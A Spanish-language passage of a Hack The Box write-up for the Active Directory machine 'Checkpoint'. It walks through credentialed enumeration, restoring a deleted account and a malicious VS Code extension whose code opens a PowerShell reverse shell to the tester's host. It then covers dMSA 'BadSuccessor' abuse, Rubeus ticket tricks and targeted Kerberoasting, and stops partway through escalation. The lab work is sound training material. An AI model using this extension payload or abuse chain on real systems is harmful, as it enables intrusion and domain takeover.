Checkpoint WriteUp

Checkpoint es una máquina de dificultad 🟧 Medium de la plataforma Hack The Box, correspondiente a la Season 11. Simula un escenario de pentest real en el que el equipo rojo arranca con credenciales de dominio de bajo privilegio (alex.turner / Checkpoint2024!), como es habitual en evaluaciones de seguridad corporativas.

A diferencia de lo que su nombre podría sugerir, la máquina no expone servicios web ni está relacionada con Check Point Security Gateway / CVE-2024-24919. El vector real gira en torno a la enumeración de permisos en Active Directory con bloodyAD, la reanimación de un objeto tombstone (CN=Mark Davies) gracias al derecho extendido Reanimate-Tombstones, y la reutilización de la contraseña Checkpoint2024! sobre la cuenta recién restaurada para obtener RCE vía una extensión maliciosa de VS Code. La escalada final combina BadSuccessor/BetterSuccessor (CVE-2025-53779) sobre dMSAs y forense de memoria con MemProcFS para extraer un hash NT reutilizado por Administrator.

🗺️ Cadena de Ataque

Creds iniciales alex.turner:Checkpoint2024! → bloodyAD get writable
      │
      ▼
WRITE sobre tombstone "Mark Davies" + Reanimate-Tombstones → bloodyAD set restore
      │
      ▼
mark.davies:Checkpoint2024! (password reuse) → RW en share DevDrop
      │
      ▼
.vsix maliciosa (Penelope) + vscodesync.ps1 → RCE como ryan.brooks
      │
      ▼
user.txt 🏴
      │
      ▼
PowerView / bloodyAD get writable → control total sobre CN=svc_deploy
      │
      ▼
BadSuccessor (CVE-2025-53779) + BetterSuccessor → dMSA evilDmsa2$
emparejado bidireccionalmente con svc_deploy (msDS-Superseded*)
      │
      ▼
TGT/TGS de evilDmsa2$ con privilegios de svc_deploy
      │
      ▼
Acceso READ a \\dc01\VMBackups → NightlyBackup_2024-11-01\memory forensics\*.vmem
      │
      ▼
MemProcFS (-forensic 1) + impacket-secretsdump sobre SAM/SYSTEM/SECURITY
      │
      ▼
NT hash local de Administrator (reutilizado como Administrator de dominio)
      │
      ▼
Pass-the-hash (netexec / evil-winrm) → Administrator
      │
      ▼
root.txt 🏴 (en C:\Users\max.palmer\Desktop)

🔍 Reconocimiento

Credenciales de Entrada

La máquina proporciona acceso inicial como usuario de dominio:

Usuario:   alex.turner
Password:  Checkpoint2024!

Configuración de /etc/hosts

echo "10.129.22.242 checkpoint.htb dc01.checkpoint.htb" | sudo tee -a /etc/hosts

Sincronización horaria

Kerberos es muy sensible al clock skew entre el cliente y el DC (máximo 5 minutos por defecto). Antes de lanzar nada, sincronizamos el reloj de Kali con el del DC:

sudo ntpdate checkpoint.htb

Escaneo de Puertos

Fase 1, Descubrimiento rápido:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv checkpoint.htb

Fase 2, Versiones y scripts:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv checkpoint.htb

Sin puertos web, perfil típico de un Domain Controller de Active Directory (Windows Server 2025, hostname DC01). smb2-security-mode confirma message signing enabled and required, y clock-skew: 0s gracias al ntpdate previo.

Enumeración con Credenciales

netexec smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!'
netexec ldap checkpoint.htb -u alex.turner -p 'Checkpoint2024!'
netexec winrm checkpoint.htb -u alex.turner -p 'Checkpoint2024!'

SMB         10.129.22.242   445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.22.242   445    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 

LDAP        10.129.22.242   389    DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:checkpoint.htb) (signing:Enforced) (channel binding:No TLS cert) 
LDAP        10.129.22.242   389    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 

WINRM       10.129.22.242   5985   DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:checkpoint.htb) 
WINRM       10.129.22.242   5985   DC01             [-] checkpoint.htb\alex.turner:Checkpoint2024!

Las credenciales son válidas por SMB y LDAP (signing:Enforced, sin certificado TLS para channel binding), pero no dan acceso por WinRM.

Shares SMB

netexec smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --shares

Usuarios y Grupos de Dominio

netexec ldap checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --users
netexec ldap checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --groups

17 usuarios de dominio: Administrator, Guest, krbtgt, alex.turner, ryan.brooks, svc_deploy (“Deployment service account”), james.harper, sarah.mitchell, emily.carter, david.reynolds, jessica.coleman, lauren.flores, michael.torres, kevin.patterson, brian.jenkins, megan.perry, max.palmer.

Grupos relevantes (de entre el centenar de grupos por defecto de AD):

• IT-Staff (3 miembros), probablemente incluye a alex.turner
• DevTeam (3 miembros), ryan.brooks, michael.torres, brian.jenkins
• BackupAccess (1 miembro), svc_deploy, acceso a VMBackups
• Domain Admins (2 miembros), Administrator y max.palmer
• VPN-Users (4 miembros)
• Otros grupos sin explotar en esta fase: Finance-Staff (2), HR-Staff (2), Engineering-Staff (4)

Intentos descartados

AS-REP Roasting sobre las cuentas existentes, ninguna tiene DONT_REQ_PREAUTH:

netexec ldap checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --asreproast asrep.txt

LDAP        10.129.22.242   389    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
LDAP        10.129.22.242   389    DC01             No entries found!

Kerberoasting, sin cuentas de servicio con SPN (aparte de krbtgt, deshabilitada):

netexec ldap checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --kerberoasting kerb.txt

LDAP        10.129.22.242   389    DC01             [*] Skipping disabled account: krbtgt
LDAP        10.129.22.242   389    DC01             [*] Total of records returned 0

BloodHound (bloodhound-python):

bloodhound-python -u alex.turner -p 'Checkpoint2024!' -d checkpoint.htb -ns 10.129.22.242 -c All --zip

WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc01.checkpoint.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc01.checkpoint.htb
INFO: Testing resolved hostname connectivity dead:beef::298d:f720:327c:6347
INFO: Trying LDAP connection to dead:beef::298d:f720:327c:6347
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
ldap3.core.exceptions.LDAPSocketOpenError: socket ssl wrapping error: [Errno 104] Connection reset by peer

🧠 ¿Por qué falla BloodHound aquí? dc01.checkpoint.htb resuelve también a una dirección IPv6 del rango dead:beef::/64 (rango típico de los labs de HTB). bloodhound-python prioriza esa IPv6 para conectar al DC. Como el DC exige LDAP signing (visto en el nmap: Message signing enabled and required) y bloodhound-python no firma binds NTLM simples por LDAP, intenta automáticamente caer a LDAPS, pero el DC no tiene un certificado/LDAPS funcional sobre esa IPv6, por lo que el wrap TLS termina en Connection reset by peer. Además, dc01.checkpoint.htb:88 (Kerberos) tampoco resuelve porque solo hemos mapeado checkpoint.htb en /etc/hosts, así que ni el fallback Kerberos funciona.

Resultado: se descarta BloodHound y se opta por consultas dirigidas con bloodyAD (basado en msldap, que sí firma correctamente los binds NTLM/Kerberos por LDAP sobre IPv4 sin necesitar LDAPS) y netexec.

Intento alternativo: SharpHound desde Windows vía pivote SOCKS (Proxifier)

SharpHound.exe usa System.DirectoryServices/SSPI nativo, que firma/sella LDAP correctamente (a diferencia de bloodhound-python), así que en teoría no debería sufrir el problema anterior. Para probarlo se monta un pivote SOCKS: Windows ejecuta SharpHound.exe, pero todo el tráfico sale a través de la Kali (que tiene la ruta VPN a 10.129.22.242).

1. SSH server en Kali (necesario para el túnel SOCKS, solo durante las pruebas):

sudo systemctl start ssh
ip a   # IP de Kali en la red local/host-only que vea el Windows

⚠️ Usar start (no enable), así el servicio no queda persistente entre reinicios. Al terminar las pruebas, parar el servicio:

sudo systemctl stop ssh

2. Túnel SOCKS desde Windows (deja la ventana abierta):

ssh -D 1080 -N tu_usuario@<IP_LAN_KALI>

3. Entrada en hosts de Windows (como administrador, C:\Windows\System32\drivers\etc\hosts):

Add-Content -Path C:\Windows\System32\drivers\etc\hosts -Value "10.129.22.242 checkpoint.htb dc01.checkpoint.htb"

4. Proxifier:

• Proxy Servers: 127.0.0.1:1080, SOCKS Version 5.
• Proxification Rules: regla Any aplicación → target hosts 10.129.22.242 (o 10.129.0.0/16) → proxy SOCKS5 anterior. Importante: esta regla debe estar la PRIMERA de la lista (se evalúan en orden, antes de “Localhost”/“Default”).
• Proxifier debe ejecutarse como Administrador si el proceso a interceptar (p.ej. una PowerShell elevada) también lo es, si no, no aparece nada en la pestaña “Connections”, ni siquiera como “Direct”.

Verificación de conectividad:

Test-NetConnection -ComputerName 10.129.22.242 -Port 445

ComputerName     : 10.129.22.242
RemoteAddress    : 10.129.22.242
RemotePort       : 445
InterfaceAlias   : Ethernet0
SourceAddress    : 192.168.100.224
TcpTestSucceeded : True

✅ El pivote SOCKS funciona (visible en Proxifier). Sin embargo, SharpHound.exe sigue sin conectar a LDAP:

.\SharpHound.exe -c All -d checkpoint.htb --domaincontroller checkpoint.htb --ldapusername alex.turner --ldappassword 'Checkpoint2024!' --zipfilename checkpoint_bh.zip

2026-06-14T11:48:19.7844651+02:00|INFORMATION|Initializing SharpHound at 11:48 AM on 6/14/2026
2026-06-14T11:49:23.1827944+02:00|ERROR|Unable to connect to LDAP: Failed to create ldap connection for checkpoint.htb

Dato adicional: con Test-NetConnection ya funcionando, se prueba AD Explorer (Sysinternals) conectando manualmente a checkpoint.htb/DC01.checkpoint.htb, conecta perfectamente a través del pivote SOCKS (Proxifier muestra ADExplorer64.exe → checkpoint.htb:389 con varios MB transferidos, sesión LDAP completa navegable: OUs DMSAHolder, Employees, Engineering, Finance, HR, IT, etc.).

Esto confirma que el pivote SOCKS soporta perfectamente tráfico LDAP TCP desde un proceso normal de Windows. El fallo de SharpHound.exe (Failed to create ldap connection, sin ninguna conexión visible en Proxifier) apunta entonces a que SharpHound, antes del bind LDAP propiamente dicho, hace una resolución de Domain/Forest vía Netlogon (DsGetDcName), un mecanismo que usa DNS SRV records (_ldap._tcp.dc._msdcs.checkpoint.htb) por UDP, fuera del proceso SharpHound.exe (vía lsass.exe/svchost.exe) y por tanto invisible/no soportado por un túnel SOCKS basado en ssh -D (solo TCP). --domaincontroller no evita esta llamada interna de System.DirectoryServices.ActiveDirectory.

Se prueban varias mitigaciones adicionales sin éxito: runas /netonly (sesión de red separada, Proxifier deja de interceptar el proceso por completo, confirmado con Wireshark: el SYN a 10.129.22.242:389 sale en crudo, sin pasar por 127.0.0.1:1080), y las flags --skipportcheck/--realdnsname/--domaincontroller <IP> (mismo resultado).

💡 Conclusión / vía recomendada para próximas auditorías: sustituir el pivote SOCKS (ssh -D + Proxifier, solo TCP) por un túnel L3 completo tipo ligolo-ng (interfaz TUN que enruta TCP+UDP hacia la red objetivo, con proxy en Windows y agent en la Kali que tiene la VPN de HTB) y configurar el DNS del adaptador ligolo apuntando al DC (10.129.22.242, puerto 53 abierto). Así la resolución SRV/Netlogon viajaría por el túnel igual que el resto del tráfico. En esta sesión, ligolo-ng falla al crear la interfaz TUN (tun should be created when starting tunnel), probablemente por conflicto con un driver Wintun ya instalado por una VPN previa (OpenVPN Wintun), queda pendiente para una VM limpia.

💉 Acceso Inicial

Enumeración de permisos con bloodyAD get writable

bloodyAD (basado en msldap, soporta firma LDAP NTLM a diferencia de ldap3/impacket en bruto) permite listar todos los objetos/atributos sobre los que alex.turner tiene permisos de escritura, incluyendo los heredados de sus grupos:

bloodyAD --host 10.129.22.242 -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' get writable --detail

Resultados relevantes:

1. WRITE sobre el objeto tombstone CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb.
2. Derecho extendido Reanimate-Tombstones (CONTROL_ACCESS) sobre la OU OU=Employees,DC=checkpoint,DC=htb.
3. (Lead secundario, no explotado) CREATE_CHILD sobre las zonas DNS de AD (DomainDnsZones/ForestDnsZones, CN=MicrosoftDNS), posible abuso ADIDNS.

🧠 Concepto, Tombstone Reanimation: cuando un objeto de AD se borra, no se elimina inmediatamente: se convierte en un tombstone (atributo isDeleted=TRUE) y se mueve a CN=Deleted Objects, conservando su objectSid, objectGUID y la mayoría de sus atributos durante el tombstone lifetime (por defecto 180 días), incluido el hash de la contraseña (unicodePwd/pwdLastSet). Si un usuario tiene el derecho extendido Reanimate-Tombstones sobre el contenedor padre original (lastKnownParent), puede restaurar el objeto a su estado anterior, recuperando SID, pertenencias a grupos y la contraseña que tenía antes de ser borrado.

Restauración del objeto

bloodyAD --host 10.129.22.242 -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' set restore 'CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb'

[+] CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb

La cuenta mark.davies vuelve a existir, habilitada (NORMAL_ACCOUNT), con su userAccountControl y contraseña tal y como estaban antes del borrado.

La contraseña era reutilización, no cracking

Antes de plantear AS-REP Roasting o Kerberoasting (que requerirían modificar userAccountControl/servicePrincipalName y crackear offline), se prueba directamente la contraseña de alex.turner sobre mark.davies, asumiendo política de contraseña compartida a nivel de organización:

netexec smb 10.129.22.242 -u mark.davies -p 'Checkpoint2024!'

SMB         10.129.22.242   445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.22.242   445    DC01             [+] checkpoint.htb\mark.davies:Checkpoint2024!

mark.davies reutiliza la misma contraseña que alex.turner: Checkpoint2024!, la tombstone reanimation preservó esa contraseña tal cual estaba antes de borrar la cuenta. No hace falta resetearla ni crackear ningún hash.

Lo interesante: a diferencia de alex.turner, mark.davies tiene permisos READ/WRITE sobre el share DevDrop, el cual según su descripción aloja extensiones .vsix “aprobadas” para VS Code 1.118.0.

🔎 RCE vía extensión maliciosa de VS Code

Creación del .vsix malicioso

DevDrop es un share pensado para distribuir extensiones de VS Code “aprobadas”. Se crea una extensión mínima cuyo activationEvents es * (se activa al abrir VS Code, sin interacción del usuario) y cuyo extension.js lanza una reverse shell (payload de Penelope ) hacia 10.10.14.45:8443:

mkdir vsix-payload
cd vsix-payload

vsix-payload/
├── package.json
└── extension.js

package.json:

{
    "name": "malicious-extension",
    "displayName": "MaliciousExtension",
    "version": "0.0.1",
    "engines": {
        "vscode": "^1.85.0"
    },
    "categories": [
        "Other"
    ],
    "activationEvents": [
        "*"
    ],
    "main": "./extension.js"
}

extension.js, el cmd es un one-liner de PowerShell codificado en Base64 (reverse shell TCP a 10.10.14.45:8443) ejecutado con exec en el momento de activarse la extensión:

const vscode = require('vscode');
const { exec } = require('child_process');

function activate(context) {
    const cmd = 'cmd /c powershell -e <BASE64_REVERSE_SHELL>';

    exec(cmd, (error, stdout, stderr) => {
        if (error) console.error(`error: ${error}`);
    });
}

function deactivate() {}

module.exports = { activate, deactivate };

💡 El one-liner de <BASE64_REVERSE_SHELL> no hace falta construirlo a mano: penelope genera payloads listos para copiar/pegar (incluida la versión PowerShell en Base64) con p:

penelope -p 8443 # Luego pulsar p para ver los payloads

Se empaqueta con vsce:

vsce package --no-dependencies --allow-missing-repository --allow-star-activation

Esto genera malicious-extension-0.0.1.vsix.

Subida al share DevDrop

smbclient //10.129.22.242/DevDrop -U checkpoint.htb/mark.davies%'Checkpoint2024!' -c 'put malicious-extension-0.0.1.vsix'

putting file malicious-extension-0.0.1.vsix as \malicious-extension-0.0.1.vsix (23.5 kB/s) (average 23.5 kB/s)

Listener y ejecución automática

penelope -p 8443

Tras unos minutos, llega una reverse shell desde DC01 como checkpoint\ryan.brooks:

[+] Got reverse shell from DC01~10.129.22.242-Microsoft_Windows_Server_2025_Standard-x64-based_PC 😍 Assigned SessionID <1>

🧠 ¿Por qué se ejecuta solo? En el DC existe C:\Scripts\vscodesync.ps1, lanzado periódicamente por una tarea programada que corre como ryan.brooks. El script busca .vsix en C:\Shares\DevDrop (la ruta local del share DevDrop), los instala con code.cmd --install-extension --force y relanza Code.exe. Al instalar y abrir VS Code con nuestra extensión, se ejecuta extension.js en el contexto de ryan.brooks, disparando la reverse shell.

⚠️ Mientras el .vsix permanezca en DevDrop, cada ciclo del script genera una nueva sesión en Penelope (puede saturar el listener). Conviene borrar el fichero del share una vez se tiene una shell estable, y volver a subirlo solo cuando se necesite otra:

smbclient //10.129.22.242/DevDrop -U checkpoint.htb/mark.davies%'Checkpoint2024!' -c 'del malicious-extension-0.0.1.vsix'

🏴 User Flag

PS C:\users\ryan.brooks\desktop> type user.txt

Enumeración como ryan.brooks

PS C:\users\ryan.brooks\desktop> whoami /all

checkpoint\ryan.brooks (SID ...1103) pertenece a los grupos CHECKPOINT\DevTeam y CHECKPOINT\VPN-Users, sin privilegios especiales habilitados (SeMachineAccountPrivilege, SeIncreaseWorkingSetPrivilege deshabilitados).

En C:\shares aparecen las dos shares vistas por SMB, pero también un directorio C:\Scripts:

PS C:\Scripts> ls

-a----    vscodesync.log
-a----    vscodesync.ps1

vscodesync.ps1 es el script descrito arriba que reinstala extensiones desde DevDrop y relanza VS Code, la causa de nuestra shell.

C:\shares\VMBackups existe junto a DevDrop, pero el acceso por filesystem local también es denegado a ryan.brooks (solo svc_deploy/grupo BackupAccess), posible objetivo de alto valor para la escalada (backups de VM con SAM/NTDS.dit).

🧗 Escalada de Privilegios → root/Administrator

Enumeración de ACLs con PowerView

Desde la shell de ryan.brooks (sin necesidad de contraseña, usando el ticket Kerberos actual) se descarga PowerView y se enumeran ACLs interesantes:

iwr -Uri http://10.10.14.45/PowerView.ps1 -OutFile C:\Windows\Temp\PowerView.ps1
Import-Module C:\Windows\Temp\PowerView.ps1
Find-InterestingDomainAcl -ResolveGUIDs | ? {$_.IdentityReferenceName -match 'ryan.brooks|DevTeam|VPN-Users'}

ObjectDN                : OU=DMSAHolder,DC=checkpoint,DC=htb
AceQualifier            : AccessAllowed
ActiveDirectoryRights   : CreateChild
ObjectAceType           : None
AceFlags                : ContainerInherit
AceType                 : AccessAllowed
InheritanceFlags        : ContainerInherit
SecurityIdentifier      : S-1-5-21-3129162710-3498938529-1807524340-1103
IdentityReferenceName   : ryan.brooks
IdentityReferenceDomain : checkpoint.htb
IdentityReferenceDN     : CN=Ryan Brooks,OU=Employees,DC=checkpoint,DC=htb
IdentityReferenceClass  : user

ObjectDN                : CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
AceQualifier            : AccessAllowed
ActiveDirectoryRights   : GenericWrite
ObjectAceType           : None
AceFlags                : ContainerInherit
AceType                 : AccessAllowed
InheritanceFlags        : ContainerInherit
SecurityIdentifier      : S-1-5-21-3129162710-3498938529-1807524340-1103
IdentityReferenceName   : ryan.brooks
IdentityReferenceDomain : checkpoint.htb
IdentityReferenceDN     : CN=Ryan Brooks,OU=Employees,DC=checkpoint,DC=htb
IdentityReferenceClass  : user

Resultado relevante:

• ryan.brooks tiene CreateChild sobre OU=DMSAHolder,DC=checkpoint,DC=htb (objeto contenedor, herencia ContainerInherit).
• ryan.brooks tiene GenericWrite sobre CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb (pista secundaria, Shadow Credentials descartado, esta DC no soporta PKINIT).

El DC es Windows Server 2025, que introduce las cuentas dMSA (delegated Managed Service Accounts). El nombre OU=DMSAHolder junto con el permiso CreateChild apunta directamente a BadSuccessor (CVE-2025-53779): si un atacante puede crear un dMSA en una OU y configurarlo para “suceder” a una cuenta privilegida, el KDC emitirá tickets para ese dMSA arrastrando los privilegios de la cuenta suplantada.

🧠 CVE-2025-53779: vulnerabilidad de relative path traversal en Kerberos de Windows Server 2025, descubierta por Yuval Gordon (Akamai) y divulgada públicamente el 21 de mayo de 2025. Microsoft la parcheó en el Patch Tuesday de agosto de 2025. CVSSv3 7.2 (High), aunque Microsoft la clasifica internamente como severidad “moderate”.

BadSuccessor: creación del dMSA malicioso

El toolkit público Invoke-BadSuccessor.ps1 no detecta correctamente la ACE CreateChild sobre OU=DMSAHolder (falla con [-] No vulnerable OU found.). En su lugar se usa BadSuccessor de @kreepsec (PoC en C#, basado en la investigación de @YuG0rd/Akamai), que automatiza la creación del dMSA y la configuración de los atributos msDS-DelegatedMSAState/msDS-ManagedAccountPrecededByLink.

Se compila (.NET Framework, abrir el .sln en Visual Studio y Build Solution en Release) y se sube al DC vía goshs + iwr desde la shell de ryan.brooks:

iwr -Uri http://10.10.14.45/BadSuccessor.exe -OutFile C:\Windows\Temp\BadSuccessor.exe

Primero, find para confirmar las OUs escribibles:

C:\Windows\Temp\BadSuccessor.exe find

[*] OUs you have write access to:
    -> OU=Domain Controllers,DC=checkpoint,DC=htb
       Privileges: GenericWrite, GenericAll
    -> OU=Employees,DC=checkpoint,DC=htb
       Privileges: GenericWrite, GenericAll
    -> OU=ServiceAccounts,DC=checkpoint,DC=htb
       Privileges: GenericWrite, GenericAll
    -> OU=DMSAHolder,DC=checkpoint,DC=htb
       Privileges: GenericWrite, GenericAll, CreateChild
    -> OU=IT,OU=Employees,DC=checkpoint,DC=htb
       Privileges: GenericWrite, GenericAll
    -> OU=Finance,OU=Employees,DC=checkpoint,DC=htb
       Privileges: GenericWrite, GenericAll
    -> OU=HR,OU=Employees,DC=checkpoint,DC=htb
       Privileges: GenericWrite, GenericAll
    -> OU=Engineering,OU=Employees,DC=checkpoint,DC=htb
       Privileges: GenericWrite, GenericAll

OU=DMSAHolder confirma CreateChild + GenericAll/GenericWrite, como vimos con PowerView. Ahora se crea el dMSA malicioso evilDmsa, vinculado (msDS-ManagedAccountPrecededByLink) a Administrator, con ryan.brooks como principal autorizado a recuperar su contraseña gestionada:

C:\Windows\Temp\BadSuccessor.exe escalate -targetOU "OU=DMSAHolder,DC=checkpoint,DC=htb" -dmsa evilDmsa -targetUser "CN=Administrator,CN=Users,DC=checkpoint,DC=htb" -dnshostname evilDmsa -user ryan.brooks -dc-ip 10.129.22.242

[*] Creating dMSA object...
[*] Inheriting target user privileges
    -> msDS-ManagedAccountPrecededByLink = CN=Administrator,CN=Users,DC=checkpoint,DC=htb
    -> msDS-DelegatedMSAState = 2
[+] Privileges Obtained.
[*] Setting PrincipalsAllowedToRetrieveManagedPassword
    -> msDS-GroupMSAMembership = ryan.brooks
[+] Setting userAccountControl attribute
[+] Setting msDS-SupportedEncryptionTypes attribute

[+] Created dMSA 'evilDmsa' in 'OU=DMSAHolder,DC=checkpoint,DC=htb', linked to 'CN=Administrator,CN=Users,DC=checkpoint,DC=htb' (DC: 10.129.22.242)

El dMSA evilDmsa$ queda creado con msDS-DelegatedMSAState=2 (migración “completada”) y vinculado a Administrator. El siguiente paso es pedir, con el ticket Kerberos actual de ryan.brooks, un TGS para evilDmsa$ con el flag /dmsa de Rubeus, el KDC debería rellenar el PAC con los privilegios de Administrator por el vínculo de “sucesión”.

Obtención del TGT y TGS del dMSA con Rubeus

Rubeus.exe dump (necesario para extraer el TGT de ryan.brooks de la caché LSA) falla porque la shell corre en integridad media:

C:\Windows\Temp\Rubeus.exe dump /luid:0x6d2ad /service:krbtgt /nowrap
[X] You need to be in high integrity for the actions specified.

ryan.brooks no es admin local (no SeImpersonatePrivilege, integridad media), así que no hay un camino fácil a integridad alta. Alternativa: Rubeus.exe tgtdeleg, el truco de “fake delegation” vía SSPI que obtiene un TGT utilizable sin integridad alta:

C:\Windows\Temp\Rubeus.exe tgtdeleg /nowrap
# devuelve un TGT en base64 (doIF...) para ryan.brooks

Con ese TGT se pide el TGS de evilDmsa$ (requiere Rubeus compilado desde master, con la PR #194 que añade el flag /dmsa y el soporte de KERB-DMSA-KEY-PACKAGE):

C:\Windows\Temp\Rubeus.exe asktgs /ticket:<TGT_base64_de_tgtdeleg> /targetuser:evilDmsa$ /service:krbtgt/checkpoint.htb /dmsa /dc:dc01.checkpoint.htb /opsec /nowrap

Tras corregir el SPN a mayúsculas (/service:krbtgt/CHECKPOINT.HTB) y compilar Rubeus desde master (la build v2.3.2 desplegada inicialmente no soportaba /dmsa), la petición llega a generar correctamente el TGS-REQ específico de dMSA (Building DMSA TGS-REQ request for 'evilDmsa$' from 'ryan.brooks'), pero el KDC responde con KRB_ERR_GENERIC (60) incluso forzando /enctype:AES128 (el dMSA tiene msDS-SupportedEncryptionTypes=0x1C, sin AES256). Esta vía queda abandonada, probablemente por una KDS Root Key no disponible/replicada para generar la “managed password” del dMSA.

Pivote: enumeración con winPEAS

En paralelo se descarga la última release de winPEAS (peass-ng) en Kali:

# función en ~/.zshrc
getwinpeas() {
    local dest="${1:-.}"
    local base="https://github.com/peass-ng/PEASS-ng/releases/latest/download"
    mkdir -p "$dest"
    for f in winPEASx64.exe winPEASx86.exe winPEASany.exe winPEAS.bat; do
        curl -L -o "$dest/$f" "$base/$f"
    done
}
getwinpeas

Se sirve con goshs y se descarga/ejecuta en la shell de ryan.brooks, volcando la salida a fichero:

iwr -uri http://10.10.14.45/winPEASx64.exe -outfile C:\Windows\Temp\winPEASx64.exe
C:\Windows\Temp\winPEASx64.exe quiet cmd > C:\Windows\Temp\winpeas_out.txt

Para traer el fichero de vuelta a Kali se monta una share SMB con Impacket (el endpoint /uploads de goshs no funcionó como se esperaba):

sudo impacket-smbserver -comment "SHARE" SMB /home/jolmedo/smb -smb2support -user test -password test

net use \\10.10.14.45\SMB /user:test test
copy C:\Windows\Temp\winpeas_out.txt \\10.10.14.45\SMB\winpeas_out.txt

La salida de winPEASx64.exe con > archivo queda en UTF-16LE (BOM ÿþ), así que se convierte antes de analizarla:

iconv -f UTF-16LE -t UTF-8 ~/smb/winpeas_out.txt -o ~/winpeas_clean.txt

El apartado “AD object control surfaces” revela el hallazgo clave, ryan.brooks tiene GenericAll directo sobre CN=Administrator,CN=Users,DC=checkpoint,DC=htb (entre otros 80 objetos):

╔══════════╣ AD object control surfaces (T1484.001,T1087.002,T1018)
  [+] Found 81 object(s) where your principal has abuse-friendly rights:
    -> Administrator (user)
       DN: CN=Administrator,CN=Users,DC=checkpoint,DC=htb
       * GenericAll: Full control -> reset password, add group members, edit SPNs/UAC, change ACLs.

GenericAll sobre la propia cuenta Administrator permite, en teoría, un reseteo directo de contraseña, mucho más simple que la cadena BadSuccessor/dMSA. Sin embargo, al ejecutarlo:

Import-Module ActiveDirectory
try {
    Set-ADAccountPassword -Identity Administrator -Reset -NewPassword (ConvertTo-SecureString "P4ssw0rd123!" -AsPlainText -Force) -ErrorAction Stop
} catch { Write-Host "ERROR: $($_.Exception.Message)" }

Get-ADUser Administrator -Properties PasswordLastSet | Select-Object Name, PasswordLastSet

ERROR: Access is denied
Name          PasswordLastSet
----          ---------------
Administrator 5/9/2026 9:16:34 AM

PasswordLastSet no cambia y la operación da Access is denied: el GenericAll que reporta winPEAS sobre CN=Administrator,CN=Users es un falso positivo de su check experimental T1484.001. Confirmado también con impacket-wmiexec (STATUS_LOGON_FAILURE) y evil-winrm (WinRMAuthorizationError), la contraseña nunca cambió.

BadSuccessor post-parche (BetterSuccessor): pivote a svc_deploy

Recapitulando el intento anterior con evilDmsa → Administrator: el KRB_ERR_GENERIC (60) no era un problema de sintaxis ni de enctype. Microsoft parcheó CVE-2025-53779 en agosto de 2025 endureciendo la validación del KDC: ya no basta con que el dMSA apunte a la víctima vía msDS-ManagedAccountPrecededByLink (enlace unidireccional), el KDC valida ambos lados de la relación. En la cuenta “sucedida” hace falta además:

• msDS-SupersededManagedAccountLink → DN del dMSA
• msDS-SupersededServiceAccountState → 1

Con Administrator (CN=Administrator,CN=Users) no hay ningún ACE que permita escribir esos atributos. Pero bloodyAD get writable (ver más abajo) muestra que ryan.brooks tiene control total sobre CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb, incluyendo ambos atributos Superseded*. Esto es la técnica “BetterSuccessor” (Altered Security, post-parche): si controlas ambos lados del emparejamiento sobre cualquier cuenta, heredas sus privilegios vía el dMSA.

Exportar el contexto Kerberos de ryan.brooks a Kali (necesario para usar bloodyAD):

C:\Windows\Temp\Rubeus.exe tgtdeleg /nowrap
# copiar el base64(ticket.kirbi) resultante

nano ryan.b64                                  # pegar el base64
base64 -d ryan.b64 > ryan.kirbi
impacket-ticketConverter ryan.kirbi ryan.ccache
export KRB5CCNAME=ryan.ccache

Con el ccache, bloodyAD confirma escritura total sobre svc_deploy (incluye unicodePwd, msDS-KeyCredentialLink, msDS-SupersededManagedAccountLink, msDS-SupersededServiceAccountState, servicePrincipalName, etc.):

bloodyAD -H dc01.checkpoint.htb -i 10.129.22.242 -d checkpoint.htb -k get writable --detail

Antes de llegar a BetterSuccessor se probaron dos vías sobre svc_deploy que no funcionaron:

• Targeted Kerberoasting: se le añadió un SPN falso (Set-ADUser -Identity svc_deploy -ServicePrincipalNames @{Add="HTTP/svc_deploy.checkpoint.htb"}) y se pidió el TGS con Rubeus.exe kerberoast /user:svc_deploy /simple /nowrap → hash $krb5tgs$18$svc_deploy$... (AES256, hashcat -m 19700). No se rompió con rockyou.txt.
• Reset directo de unicodePwd vía bloodyAD set password svc_deploy ...: por LDAP plano da Password can't be changed (atributo confidencial, requiere canal cifrado), forzando LDAPS (-s, puerto 636) el handshake TLS hace timeout, no hay LDAPS/PKI en este DC (coherente con que Shadow Credentials/PKINIT tampoco funcionen).

Paso 1, crear un segundo dMSA, esta vez apuntando a svc_deploy:

